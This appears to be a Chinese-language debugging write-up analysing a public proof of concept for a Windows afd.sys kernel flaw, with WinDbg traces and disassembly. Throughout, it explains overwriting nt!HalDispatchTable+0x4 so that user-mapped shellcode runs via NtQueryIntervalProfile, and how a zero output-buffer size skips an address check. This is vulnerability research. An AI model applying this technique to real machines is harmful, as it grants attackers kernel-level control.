NtQueryIntervalProfile函數是爲了觸發shellcode的執行
eax=b25c9d14 ebx=80618501 ecx=00000000 edx=0021fb0c esi=00bcd968 edi=b25c9d64
eip=80646d91 esp=b25c9d04 ebp=b25c9d20 iopl=0 nv up ei pl nz na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000206
nt!KeQueryIntervalProfile+0x31:
80646d91 ff153ce05480 call dword ptr [nt!HalDispatchTable+0x4 (8054e03c)] ds:0023:8054e03c=000207ba
poc中是改寫進行漏洞利用的 nt!HalDispatchTable+0x4
什麼時候改寫的呢 下硬件訪問斷點,貌似不行
採用2分法查出具體是函數AfdJoinLeaf那個地方重寫了內存,發現是最終的IoCallOfDriver處
tcpip!TCPDispatchInternalDeviceControl:
最終發現在b2d52799 57 push edi
b2d5279a 56 push esi
b2d5279b e8a7570000 call tcpip!TCPConnect (b2d57f47)中重寫了hal表
b2d57fcb e873070000 call tcpip!TdiConnect (b2d58743)
.....
貌似這種方法還是愚蠢了點 直接改poc裏面的outbuffer的寫入地址 爲一個不可寫的地址 這樣觸發漏洞時就會藍屏停下來
1: kd> .trap 0xffffffffb28fc934
ErrCode = 00000002
eax=ffff0000 ebx=8232382c ecx=c0000207 edx=00000001 esi=82368ce0 edi=82325030
eip=b2ce139b esp=b28fc9a8 ebp=b28fc9d8 iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246
afd!AfdConnectApcKernelRoutine+0x2f:
b2ce139b 8908 mov dword ptr [eax],ecx ds:0023:ffff0000=????????
FOLLOWUP_IP:
afd!AfdConnectApcKernelRoutine+2f
b2ce139b 8908 mov dword ptr [eax],ecx
kb
b28fc9d8 80500843 82325030 b28fca24 b28fca18 afd!AfdConnectApcKernelRoutine+0x2f
b28fca28 806e7ef2 00000000 00000000 b28fca40 nt!KiDeliverApc+0xb3
b28fca28 806e7adf 00000000 00000000 b28fca40 hal!HalpApcInterrupt+0xc6
b28fcab0 804fd4e7 82368ce0 82325008 82325030 hal!KeReleaseQueuedSpinLock+0x37
b28fcad0 b2cf219a 82325030 82368ce0 00000000 nt!KeInsertQueueApc+0x6d
b28fcb04 804f26b0 8220b958 00000000 81efe8a0 afd!AfdRestartJoin+0x187
b28fcb34 b2d50942 81eef4e0 00000103 81eef4f8 nt!IopfCompleteRequest+0xa2
b28fcb4c b2d5646e 82368ce0 c0000207 00000000 tcpip!TCPDataRequestComplete+0xa6
b28fcb60 b2d5bc00 82368ce0 c0000207 00000000 tcpip!TCPRequestComplete+0x12
b28fcb98 b2d527a0 82368ce0 82368d98 82368ce0 tcpip!TCPConnect+0xbc
b28fcbb4 804f018f 8244af18 82368ce0 8232508c tcpip!TCPDispatchInternalDeviceControl+0x13f
b28fcbc4 b2ce30a4 000120bb b2ce2c11 82368ce0 nt!IopfCallDriver+0x31
b28fcc30 b2ce71d7 820bcf90 82379450 b28fcc64 afd!AfdJoinLeaf+0x493
b28fcc40 804f018f 8220b958 82368ce0 806e7410 afd!AfdDispatchDeviceControl+0x53
b28fcc50 80580982 82368dbc 820bcf90 82368ce0 nt!IopfCallDriver+0x31
b28fcc64 805817f7 8220b958 82368ce0 820bcf90 nt!IopSynchronousServiceTail+0x70
b28fcd00 8057a274 00000134 00000000 00000000 nt!IopXxxControlFile+0x5c5
b28fcd34 8054261c 00000134 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
b28fcd34 7c92e4f4 00000134 00000000 00000000 nt!KiFastCallEntry+0xfc
0021fa20 7c92d26c 1d1aaf21 00000134 00000000 ntdll!KiFastSystemCallRet
0021fa24 1d1aaf21 00000134 00000000 00000000 ntdll!NtDeviceIoControlFile+0xc
重新載入 並將outbuffer還原成原來的值
可以知道是在AfdConnectApcKernelRoutine寫入了一個DWORD 雖然這個DWORD 不可控 但是我們可以將hal table的分發函數寫成指向000207ba
這樣在r3下面分配這個地址的內存,然後將shellcode寫入這塊內存 即可完成exploit
PAGE:00015395 mov eax, [esi+3Ch]
PAGE:00015398 mov ecx, [esi+18h]
PAGE:0001539B mov [eax], ecx //ecx==c0000207
eax=8054e03d ebx=8212437c ecx=c0000207 edx=00000001 esi=81f0f5b0 edi=821a49e0
eip=b2ce139b esp=b223a9a8 ebp=b223a9d8 iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000246
afd!AfdConnectApcKernelRoutine+0x2f:
b2ce139b 8908 mov dword ptr [eax],ecx ds:0023:8054e03d=c6806fbf
將nt!HalDispatchTable+0x4處寫成000207ba eax=8054e03c+1
1: kd> dd nt!HalDispatchTable+0x4
8054e03c 806fbfba 806fe9c6 80572e7e 00000000
8054e04c 804eef3c 80572596 80571c58 805712d6
8054e05c 8057153e 804ef136 804ef1b8 804ef1b8
8054e06c 806fdde6 806fe834 806e9940 806fe2b8
8054e07c 80572e9a 804ef158 804ef166 806fe9b4
8054e08c 804ef166 00000002 804ef136 804ef136
8054e09c 806fde1e 80572e8c 806fa3f2 806fa3ac
8054e0ac f855c12e f855bf82 806e9108 806ed5be
1: kd> dd nt!HalDispatchTable+0x4
8054e03c 000207ba 806fe9c0 80572e7e 00000000
8054e04c 804eef3c 80572596 80571c58 805712d6
8054e05c 8057153e 804ef136 804ef1b8 804ef1b8
8054e06c 806fdde6 806fe834 806e9940 806fe2b8
8054e07c 80572e9a 804ef158 804ef166 806fe9b4
8054e08c 804ef166 00000002 804ef136 804ef136
8054e09c 806fde1e 80572e8c 806fa3f2 806fa3ac
8054e0ac f855c12e f855bf82 806e9108 806ed5be
至於outputbuffer_size爲什麼必須是0?
if ( v3->outputbuffer_size )
{
if ( LOBYTE(v67->field_20) == 1 )
{
if ( v67->outputbuffer >= (unsigned int)_MmUserProbeAddress )
_MmUserProbeAddress = 0;
v11 = v67->outputbuffer;
*(_DWORD *)v11 = *(_DWORD *)v11;
*(_DWORD *)(v11 + 4) = *(_DWORD *)(v11 + 4);
}
}
不爲0的話 就會檢測outputbuffer地址是否大於MmUserProbeAddress 大於的話 直接結束
ref:http://www.exploit-db.com/exploits/18176/